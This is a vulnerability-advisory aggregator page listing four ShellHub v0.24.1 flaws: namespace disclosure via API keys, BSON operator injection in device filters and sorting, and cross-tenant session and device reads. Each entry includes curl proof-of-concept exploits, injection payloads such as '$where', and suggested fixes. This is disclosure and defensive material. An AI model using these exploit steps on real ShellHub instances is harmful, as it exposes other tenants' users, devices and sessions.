Where
-Infinity
0

Vendor Risk Score

See how shellhub compares to other vendors in security performance

View Risk Score →
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary GET /api/namespaces/:tenant returns the full namespace object — including the members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an API Key, for any tenant, regardless of the API Key's own tenant scope.

The handler conditionally skips the membership check when the user ID (X-ID) is absent, which is exactly the case for API Key authentication.

Affected versions ShellHub Community v0.24.1 (validated).

Root cause api/routes/nsadm.go:75-102 — membership check is skipped when c.ID() is nil:

go var uid string if c.ID() != nil { uid = c.ID().ID }

ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant) if err != nil || ns == nil { return c.NoContent(http.StatusNotFound) }

if uid != "" { // ⚠️ skipped when API Key is used if , ok := ns.FindMember(uid); !ok { return c.NoContent(http.StatusForbidden) } }

return c.JSON(http.StatusOK, ns)

AuthRequest (api/routes/auth.go:53-64) sets only X-Tenant-ID, X-Role, and X-API-KEY for API Key authentication — never X-ID. So c.Request().Header.Get("X-ID") returns "", c.ID() returns nil, and the membership check is bypassed.

Proof of concept (validated live against v0.24.1)

bash # Attacker authenticates in their own namespace and mints an API Key ATTACKERTOKEN=$(curl -s -X POST http://target/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"..."}' | jq -r .token)

ATTACKERKEY=$(curl -s -X POST http://target/api/namespaces/api-key \ -H "Authorization: Bearer $ATTACKERTOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"poc","expiresat":30}' | jq -r .id)

# Baseline: same request with JWT is correctly blocked curl -i http://target/api/namespaces/<victim-tenant-uuid> \ -H "Authorization: Bearer $ATTACKERTOKEN" # Observed: HTTP 403 (correct)

# Exploit: same request with API Key returns full namespace curl -i http://target/api/namespaces/<victim-tenant-uuid> \ -H "X-API-Key: $ATTACKERKEY" # Observed: HTTP 200 + {name, owner, tenantid, members:[{id,email,role,addedat},...], # settings, maxdevices, devicesacceptedcount, type, createdat}

Impact - Enumeration of any ShellHub namespace by tenant UUID. - Disclosure of member e-mails, user IDs, and roles → user enumeration and targeted phishing against the victim organization. - Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity.

Suggested fix Two layers:

1. Primary — enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers:

go // nsadm.go GetNamespace if c.Tenant() != nil && c.Tenant().ID != req.Tenant { return c.NoContent(http.StatusForbidden) }

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
Input Validation
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L

Summary The device list endpoint accepts user-controlled identifiers in two places that are passed directly as BSON/SQL keys in the database layer without validation:

1. The name field of each filter property in the base64-encoded filter query parameter. 2. The sortby query parameter.

Any authenticated user can craft payloads that cause the aggregation/query to fail and the API to return HTTP 500 with no body, with no rate limiting applied.

Severity CVSS 3.1: 6.5 (Medium) CWE-20 (Improper Input Validation) CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)

Affected versions ShellHub Community v0.24.1 (validated). All versions sharing the same filter and sort pipeline (api/store/mongo/query-options.go).

Root cause

Vector 1 — Filter field name api/store/mongo/query-options.go:140:

go conditions = append(conditions, bson.M{param.Name: property})

param.Name is the name field from the JSON filter supplied by the client. It becomes a BSON map key with no validation, allowing BSON operator names ($where, $ne, $or, $regex) and virtual pipeline-computed fields (namespace, paths containing $) to be injected.

Vector 2 — Sort-by field Similar pattern in the sort pipeline where the sortby query parameter is used to build bson.M{"$sort": {sortBy: order}} without validation.

Additional observation fromContains (api/store/mongo/internal/filters.go:60-69) passes user input directly as $regex value, which enables blind regex extraction over string fields within the caller's tenant and potential ReDoS amplification on large datasets.

go func fromContains(value interface{}) (bson.M, error) { switch value.(type) { case string: return bson.M{"$regex": value, "$options": "i"}, nil

Proof of concept (validated live against v0.24.1)

bash TOKEN=<valid-user-jwt>

# Helper: base64-encode a filter payload encodefilter() { python3 -c 'import json,base64,sys;print(base64.b64encode(json.dumps(json.loads(sys.argv[1])).encode()).decode())' "$1" }

# --- Vector 1: filter field injection ---

# Baseline: legitimate filter -> 200 F=$(encodefilter '[{"type":"property","params":{"name":"name","operator":"contains","value":"anything"}}]') curl -sS -w "HTTP=%{httpcode}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=200

# Exploit 1a: Mongo operator as field name F=$(encodefilter '[{"type":"property","params":{"name":"$where","operator":"contains","value":"x"}}]') curl -sS -w "HTTP=%{httpcode}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# Exploit 1b: nested object as value F=$(encodefilter '[{"type":"property","params":{"name":"status","operator":"eq","value":{"$ne":"accepted"}}}]') curl -sS -w "HTTP=%{httpcode}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# Exploit 1c: pipeline-computed field as filter name F=$(encodefilter '[{"type":"property","params":{"name":"namespace","operator":"contains","value":"."}}]') curl -sS -w "HTTP=%{httpcode}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# --- Vector 2: sort-by injection ---

# Baseline: legitimate sort -> 200 curl -sS -w "HTTP=%{httpcode}\n" "http://target/api/devices?sortby=name" \ -H "Authorization: Bearer $TOKEN" # HTTP=200

# Exploit 2a: Mongo operator as sort field curl -sS -w "HTTP=%{httpcode}\n" "http://target/api/devices?sortby=\$where" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# Exploit 2b: path containing $ curl -sS -w "HTTP=%{httpcode}\n" "http://target/api/devices?sortby=id.%24%24%24" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# Exploit 2c: oversized sort field (no length validation) curl -sS -w "HTTP=%{httpcode}\n" "http://target/api/devices?sortby=$(python3 -c 'print("A"5000)')" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# Exploit 2d: non-indexable internal field curl -sS -w "HTTP=%{httpcode}\n" "http://target/api/devices?sortby=tenantid" \ -H "Authorization: Bearer $TOKEN" # HTTP=500

# --- Repeat to demonstrate no rate limiting --- for i in $(seq 1 20); do curl -sS -o /dev/null -w "%{httpcode} " "http://target/api/devices?sortby=\$where" \ -H "Authorization: Bearer $TOKEN" done # 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500

Confirmed field values that trigger 500: - Filter name: $where, $regex, $or, $ne, remoteaddr, tenantid, namespace, any path containing $ after a . - Sort-by: $where, id.$$$, tenantid, password.hash, overly long strings

Observed response characteristics: HTTP/1.1 500 Internal Server Error Content-Length: 0 X-Request-Id: <id> ← logged as error in backend

Response time 8-18 ms per request, server process stays alive, no degradation across 20 consecutive requests.

Impact - Availability (low): unrestricted HTTP 500 generation by any authenticated caller; log noise, SIEM false-positives, WAF bypass fingerprinting. - Information disclosure (low): potential stack trace exposure depending on logger configuration; attacker can fingerprint the underlying MongoDB aggregation pipeline and schema. - Resource exhaustion (potential): user-controlled $regex value on large tenant datasets enables ReDoS amplification (not reproducible on a 2-device test instance, but attack surface is real on production-scale deployments). - Forensics difficulty: unified 500 response makes it hard to distinguish legitimate errors from attacker probes in logs.

Suggested fix

1. Allowlist filter and sort field names per collection. Add a whitelist of allowed param.Name and sortby values for each model exposed via filters (device, session, etc.). Reject anything else with HTTP 400.

2. Reject BSON operators in field names. Even if an allowlist is not practical, reject values that: - start with $ - contain $ after a . - contain characters outside [A-Za-z0-9.] - exceed a reasonable length (e.g., 64 characters)

3. Validate value shape. For contains/eq/ne operators, reject non-primitive values (objects, arrays of objects).

4. Catch aggregation errors. In api/store/mongo/query-options.go, wrap pipeline execution and return a typed error that the HTTP layer maps to 400 Bad Request instead of 500.

5. Limit regex complexity. In fromContains, reject regex values longer than N characters or containing nested quantifiers ((...)+, (...), (.+)+, etc.) to mitigate ReDoS.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary GET /api/sessions/:uid returns the full session object for any authenticated caller, without scoping by the caller's tenant. An authenticated user can read session records (SSH username, device UID, remote IP, terminal type, authenticated flag, timestamps) belonging to any other namespace.

Severity CVSS 3.1: 7.5 (High) CWE-639

Affected versions ShellHub Community v0.24.1 (by code inspection — same vulnerable pattern as GetDevice). Not plant-reproducible without an active SSH session, but the flaw is structurally identical and confirmed via static analysis.

Root cause api/services/session.go:37-44 — GetSession resolves the session by UID without any tenant filter:

go func (s service) GetSession(ctx context.Context, uid models.UID) (models.Session, error) { session, err := s.store.SessionResolve(ctx, store.SessionUIDResolver, string(uid)) // ⚠️ missing: s.store.Options().InNamespace(tenant) ... }

The Authorize middleware only verifies presence of a tenant in the context, not ownership of the requested session.

Proof of concept

Pre-requisite: attacker has any valid user account and has obtained a session UID from the victim tenant (UIDs may leak via logs, shared session recordings, UI URLs, or through the device IDOR in the companion advisory since sessions reference devices by UID).

bash ATTACKERTOKEN=$(curl -s -X POST http://target/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"..."}' | jq -r .token)

# Attempt cross-tenant read curl -i "http://target/api/sessions/<victim-session-uid>" \ -H "Authorization: Bearer $ATTACKERTOKEN" # Expected (fixed): HTTP 403/404 # Observed (v0.24.1): HTTP 200 + full session JSON

Impact - Cross-tenant disclosure of SSH session data: target username, device UID, remote IP, authenticated status, session type, terminal, position (geolocation), startedat / lastseen timestamps. - Enables reconnaissance of other tenants' active users and systems; combined with session recording features, can enable deeper recon.

Suggested fix api/services/session.go — apply InNamespace in GetSession:

go func (s service) GetSession(ctx context.Context, uid models.UID) (models.Session, error) { tenant := gateway.TenantFromContext(ctx) opts := []store.QueryOption{} if tenant != nil { opts = append(opts, s.store.Options().InNamespace(tenant.ID)) } session, err := s.store.SessionResolve(ctx, store.SessionUIDResolver, string(uid), opts...) ... }

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary GET /api/devices/:uid returns the full device object whenever the caller is authenticated, without verifying that the device belongs to the caller's namespace (tenant). Any authenticated user (JWT or API Key) who knows or can guess a device UID can read device metadata from any other namespace.

Severity CVSS 3.1: 7.5 (High) CWE-639 — Authorization Bypass Through User-Controlled Key

Affected versions ShellHub Community v0.24.1 (validated). Likely all prior versions that share this handler.

Root cause api/services/device.go:97-104 — GetDevice resolves the device by UID without scoping to the caller's tenant:

go func (s service) GetDevice(ctx context.Context, uid models.UID) (models.Device, error) { device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid)) // ⚠️ missing: s.store.Options().InNamespace(tenant) ... }

Compare with DeleteDevice in the same file (line 137) which correctly applies InNamespace(tenant).

The Authorize middleware (api/routes/middleware/authorize.go:12-27) only checks that a tenant is present in the context — not that the resource belongs to that tenant.

Proof of concept (validated live against v0.24.1)

Pre-requisite: attacker has any valid user account and knows a target tenantid (UUIDs frequently leak via UI URLs, email invites, support channels, or prior namespace membership).

bash ATTACKERTOKEN=$(curl -s -X POST http://target/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"..."}' | jq -r .token)

TARGETTENANT="<victim-tenant-uuid>"

# Plant a device in the victim tenant via the public device-auth endpoint # (this also works when the victim already has devices and the attacker # merely guessed/obtained a real UID via another vector) VICTIMUID=$(curl -s -X POST http://target/api/devices/auth \ -H 'Content-Type: application/json' \ -d "{ \"info\":{\"id\":\"x\",\"prettyname\":\"x\",\"version\":\"v0.24.1\",\"arch\":\"amd64\",\"platform\":\"docker\"}, \"hostname\":\"poc\", \"identity\":{\"mac\":\"aa:bb:cc:dd:ee:ff\"}, \"publickey\":\"-----BEGIN RSA PUBLIC KEY-----\\nx\\n-----END RSA PUBLIC KEY-----\", \"tenantid\":\"$TARGETTENANT\" }" | jq -r .uid)

# Read the device from a completely different tenant curl -i "http://target/api/devices/$VICTIMUID" \ -H "Authorization: Bearer $ATTACKERTOKEN" # Expected (fixed): HTTP 403/404 # Observed (v0.24.1): HTTP 200 + full device JSON (tenantid, publickey, MAC, # namespace name, OS info, lastseen, remoteaddr, ...)

Impact - Cross-tenant disclosure of device metadata: hostname, MAC, OS fingerprint, public SSH key, namespace name, last-seen timestamp, remote address. - Enables namespace enumeration, device inventory reconnaissance of other tenants, and targeted follow-up attacks.

Suggested fix In api/services/device.go GetDevice, extract tenant from context and apply InNamespace:

go func (s service) GetDevice(ctx context.Context, uid models.UID) (models.Device, error) { tenant := gateway.TenantFromContext(ctx) opts := []store.QueryOption{} if tenant != nil { opts = append(opts, s.store.Options().InNamespace(tenant.ID)) } device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid), opts...) ... }

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203